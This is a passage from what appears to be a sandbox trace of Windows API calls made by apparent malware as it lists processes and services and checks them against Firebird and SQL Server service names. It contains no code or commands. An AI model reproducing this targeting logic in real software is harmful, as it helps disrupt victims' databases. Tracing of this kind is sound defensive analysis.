(lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0226.541] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0226.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0226.541] lstrlenW (lpString="SysMain") returned 7 [0226.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0226.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0226.541] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0226.541] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0226.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0226.541] lstrlenW (lpString="SystemEventsBroker") returned 18 [0226.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0226.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0226.541] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0226.541] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0226.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0226.541] lstrlenW (lpString="Themes") returned 6 [0226.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0226.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0226.541] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0226.541] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0226.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0226.541] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0226.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0226.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0226.541] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0226.541] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0226.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0226.541] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0226.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0226.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0226.541] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0226.541] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0226.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TimeBrokerSvc") returned -1 [0226.541] lstrlenW (lpString="TokenBroker") returned 11 [0226.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TokenBroker") returned -1 [0226.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TokenBroker") returned -1 [0226.541] lstrcmpiW (lpString1="sqlwriter", lpString2="TokenBroker") returned -1 [0226.541] lstrcmpiW (lpString1="mssqlserver", lpString2="TokenBroker") returned -1 [0226.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40d7c88 | out: hHeap=0x4f0000) returned 1 [0226.542] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4ac [0226.546] Process32FirstW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0226.547] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0226.547] lstrlenW (lpString="System") returned 6 [0226.547] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0226.547] lstrlenW (lpString="smss.exe") returned 8 [0226.547] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0226.548] lstrlenW (lpString="csrss.exe") returned 9 [0226.548] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0226.548] lstrlenW (lpString="wininit.exe") returned 11 [0226.548] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0226.548] lstrlenW (lpString="csrss.exe") returned 9 [0226.548] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0226.549] lstrlenW (lpString="winlogon.exe") returned 12 [0226.549] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0226.549] lstrlenW (lpString="services.exe") returned 12 [0226.549] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0226.549] lstrlenW (lpString="lsass.exe") returned 9 [0226.549] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0226.882] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0226.882] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0226.882] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0226.882] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.882] lstrlenW (lpString="svchost.exe") returned 11 [0226.883] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.919] lstrlenW (lpString="svchost.exe") returned 11 [0226.919] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0226.920] lstrlenW (lpString="dwm.exe") returned 7 [0226.920] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.920] lstrlenW (lpString="svchost.exe") returned 11 [0226.920] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.921] lstrlenW (lpString="svchost.exe") returned 11 [0226.921] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.921] lstrlenW (lpString="svchost.exe") returned 11 [0226.921] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.921] lstrlenW (lpString="svchost.exe") returned 11 [0226.921] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.922] lstrlenW (lpString="svchost.exe") returned 11 [0226.922] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x428, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.922] lstrlenW (lpString="svchost.exe") returned 11 [0226.922] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.922] lstrlenW (lpString="svchost.exe") returned 11 [0226.922] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.923] lstrlenW (lpString="svchost.exe") returned 11 [0226.923] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.923] lstrlenW (lpString="svchost.exe") returned 11 [0226.923] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.923] lstrlenW (lpString="svchost.exe") returned 11 [0226.923] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0226.924] lstrlenW (lpString="spoolsv.exe") returned 11 [0226.924] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.924] lstrlenW (lpString="svchost.exe") returned 11 [0226.924] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x508, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0226.924] lstrlenW (lpString="audiodg.exe") returned 11 [0226.924] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.925] lstrlenW (lpString="svchost.exe") returned 11 [0226.925] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0226.925] lstrlenW (lpString="sihost.exe") returned 10 [0226.925] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0226.926] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0226.926] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0226.926] lstrlenW (lpString="Memory Compression") returned 18 [0226.926] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0226.926] lstrlenW (lpString="taskhostw.exe") returned 13 [0226.926] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0226.927] lstrlenW (lpString="userinit.exe") returned 12 [0226.927] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x928, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0226.927] lstrlenW (lpString="explorer.exe") returned 12 [0226.927] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0226.927] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0226.927] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0226.928] lstrlenW (lpString="SearchUI.exe") returned 12 [0226.928] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0226.928] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0226.928] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0226.928] lstrlenW (lpString="mobsync.exe") returned 11 [0226.928] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0226.929] lstrlenW (lpString="winhost.exe") returned 11 [0226.929] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0226.929] lstrlenW (lpString="cmd.exe") returned 7 [0226.929] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0226.929] lstrlenW (lpString="conhost.exe") returned 11 [0226.929] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0226.930] CloseHandle (hObject=0x4ac) returned 1 [0226.930] Sleep (dwMilliseconds=0x1f4) [0227.775] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x40eb490 [0227.775] EnumServicesStatusExW (in: hSCManager=0x40eb490, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 0 [0227.775] GetLastError () returned 0xea [0227.775] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1ac4) returned 0x41f26e0 [0227.775] EnumServicesStatusExW (in: hSCManager=0x40eb490, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f26e0, cbBufSize=0x1ac4, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f26e0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 1 [0227.776] CloseServiceHandle (hSCObject=0x40eb490) returned 1 [0227.776] lstrlenW (lpString="AppXSvc") returned 7 [0227.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0227.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0227.776] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0227.776] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0227.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0227.776] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0227.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0227.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0227.776] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0227.776] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0227.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0227.776] lstrlenW (lpString="Audiosrv") returned 8 [0227.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0227.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0227.777] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0227.777] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0227.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0227.777] lstrlenW (lpString="BFE") returned 3 [0227.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0227.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0227.777] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0227.777] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0227.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0227.777] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0227.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0227.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0227.777] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0227.777] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0227.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0227.777] lstrlenW (lpString="CDPSvc") returned 6 [0227.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0227.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0227.777] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0227.777] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0227.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0227.777] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0227.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0227.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0227.777] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0227.777] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0227.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0227.777] lstrlenW (lpString="CryptSvc") returned 8 [0227.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0227.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0227.777] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0227.777] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0227.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0227.777] lstrlenW (lpString="DcomLaunch") returned 10 [0227.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0227.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0227.777] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0227.777] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0227.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0227.777] lstrlenW (lpString="DeviceAssociationService") returned 24 [0227.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0227.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0227.778] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0227.778] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0227.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0227.778] lstrlenW (lpString="Dhcp") returned 4 [0227.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0227.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0227.778] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0227.778] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0227.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0227.778] lstrlenW (lpString="Dnscache") returned 8 [0227.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0227.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0227.778] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0227.778] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0227.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0227.778] lstrlenW (lpString="DPS") returned 3 [0227.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0227.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0227.778] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0227.778] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0227.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0227.778] lstrlenW (lpString="DusmSvc") returned 7 [0227.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0227.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0227.778] lstrcmpiW (lpString1="sqlwriter", 